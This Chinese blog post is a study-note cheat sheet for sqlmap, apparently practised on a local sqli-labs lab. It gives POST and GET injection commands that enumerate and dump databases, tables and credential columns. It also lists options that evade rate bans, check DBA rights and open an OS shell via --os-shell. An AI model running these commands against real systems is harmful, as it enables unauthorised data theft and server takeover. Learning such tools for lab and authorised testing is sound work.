首页 > 数据库 >sqlmap的一些简单使用命令

sqlmap的一些简单使用命令

时间:2023-05-19 20:22:32浏览次数:42  
标签:sqlmap -- 数据库 py 目标 命令 简单 python

路径

C:\Users\Administrator\AppData\Local\Programs\Python\Python39\sqlmap

post型注入

*每次使用都要重新抓包,不可以使用旧的数据包

截图.png

sqlmap -r 目标文件

直接把post.txt拖进去

截图.png

回车(~ ̄▽ ̄)~

截图.png

得到数据库名和版本

使用 sqlmap.py -r 目标文件 --current-db 爆当前数据库

*使用 sqlmap.py -r 目标文件 --dbs 可得到所有目标ip下的所有数据库

爆数据库下的表名

sqlmap.py -r 目标文件 -D 数据库名 --tables

爆数据库下的指定表名下的所有列名

sqlmap.py -r 目标文件 -D 数据库名 -T 指定表名 --columns

爆数据库下的指定表名下的指定列名下的所有数据

sqlmap.py -r 目标文件 -D 数据库名 -T 指定表名 -C指定列名 --dump

截图.png

查询那张表有username与password

get型注入

判断是否可以注入及注入类型

python sqlmap.py -u 目标网址/?id=1

查询数据库

python sqlmap.py -u 目标网址/?id=1 --dbs 所有数据库

python sqlmap.py -u 目标网址/?id=1 --current-db 当前数据库

查询数据库下的全部表

python sqlmap.py -u 目标网址/?id=1 -D 数据库名字 --tables

查询指定表下的全部列

python sqlmap.py -u 目标网址/?id=1 -D 数据库名字 -T 指定表名 --columns

查询指定列下的数据

python sqlmap.py -u 目标网址/?id=1 -D 数据库名字 -T 指定表名 -C 列名 --dump

一些使用sqlmap的命令

--random-agent 随机代理 头部

--delay=1 每次探测延时1s 防止访问过快被ban

--count 查看数据的数量 --dump 获取所有数据 脱库

-u http://127.0.0.1/sqliLabs/less-8/ -D security --count

--level 1-5 测试等级1-5 等级越高,检测越详细 等级大于2会检测cookie注入 大于3会检测头注入

--risk sqlmap测试语句的复杂度

--level3 --risk2

--is-dba 查询用户当前权限 dba:true 得到最高权限

--os-shell 直接获得目标的cmd权限

有cmd肯定有dba 有dba不一定有cmd

--fulsh-session 刷新缓存

标签:sqlmap,--,数据库,py,目标,命令,简单,python
From: https://www.cnblogs.com/xty123456/p/17416202.html

相关文章

  • History(历史)命令用法15例
    如果你经常使用 Linux 命令行,那么使用history(历史)命令可以有效地提升你的效率,本文将通过实例的方式向你介绍history命令的15个用法。使用HISTTIMEFORMAT显示时间戳当你从命令行执行history命令后,通常只会显示已执行命令的序号和命令本身,如果你想要查看命令历......
  • 常用DOS命令
    路径中如果有空格,需要用双引号包含,建议所有路径都用双引号删除文件夹以及子文件夹内的所有文件,但不删除文件夹,不弹出询问对话框del/s/q"D:\Publish\GCH_QYNBZHGLPT\qynbzhglpt_web"删除文件夹以及所有内容,不弹出询问对话框rd/s/q"D:\Publish\GCH_QYNBZHGLPT\qynbzhgl......
  • UE4命令行编译工程入门
    0背景笔者是个UE4的小白,本文主要记录了一个小白是如何从零UE4的基础,一步步在命令行打出iOS的ipa包的尝试过程,本文比较浅,适合小白做为UE4工程的入门资料(UE大神可自动忽略本文);1构建流程UE4工程的构建会涉及以以下几个步骤:编译所有的源代码;将所需的内容转化(cook)为目标平台......
  • fuser命令(当umount不掉时使用)
    1、安装命令(最小化安装时没有该命令)yuminstall-ypsmisc2、选项参数-a:显示所有命令行中指定的文件,默认情况下被访问的文件才会被显示。-c:和-m一样,用于POSIX兼容。-k:杀掉访问文件的进程。如果没有指定-signal就会发送SIGKILL信号。-i:杀掉进程之前询问用户,如果没......
  • Linux防止误删文件rm命令删除文件到回收站
    全局配置:/etc/profile当前用户:~/.bashrc 一、配置:方式一:1.建立一个存放rm后的目录: sudomkdir/Recycle_Bin注意:目录名、目录路径都可以随意,就是注意目录所在磁盘的空间即可 2.根据需要全局配置或局部配置 里,添加rm 删除文件到回收站aliasrm='mv......
  • DNS相关命令ping、host、nslookup、dig、nsupdate学习
    另外再标注一篇文章:http://zhumeng8337797.blog.163.com/blog/static/10076891420112108424555/1、ping  很好奇为什么返回的是www.a.shifen.com,whois一下:发现shifen.com也是百度的。  这个在知乎上也有相关回答:十分系统(www.a.shifen.com)是干什么的?和百度有什么关系? 2、host ......
  • 更高效便捷的开发体验——Cloud Studio 编辑器命令行工具
    CloudStudio是一个云端在线开发平台,在CloudStudio的控制台页面中,可以方便快捷创建或者打开一个工作空间。工作空间提供了在线编辑器给大家访问远端开发环境。大部分开发时间都与这个在线编辑器打交道,在线编辑器效果如下图所示:通过该在线编辑器,可以使用编辑器UI进行如下操......
  • MySQL 常用管理方法与命令
    MySQL常用管理方法与命令原创 欢马劈雪 时代Java 2023-05-1907:40 发表于北京↑ 点击上面 “时代Java”关注我们,关注新技术,学习新知识!运行与关闭MySQL服务器首先检查MySQL服务器是否正在运行。可以使用下列命令来确认这一点:ps-ef|grepmysqld如果MySQ......
  • DCC32命令行方式编译delphi工程源码
    本文链接地址:http://blog.csdn.net/sushengmiyan/article/details/10284879作者:苏生米沿 一、首先找到这个可执行文件,熟悉delphi的人应该很容易就找到,打开你安装delphi的目录,如我的路径C:\ProgramFiles\Delphi_2007\bin\DCC32.EXE二、拷贝一份出来,我将其放在了我的测试目录下......
  • Shell常用命令
    Shell常用命令shell字符!:执行历史命令!!:执行上一条命令$:变量中取内容符+-*/%:对应数学运算加减乘除取余数&:后台执行;:分号可以在shell中一行执行多个命令,命令之......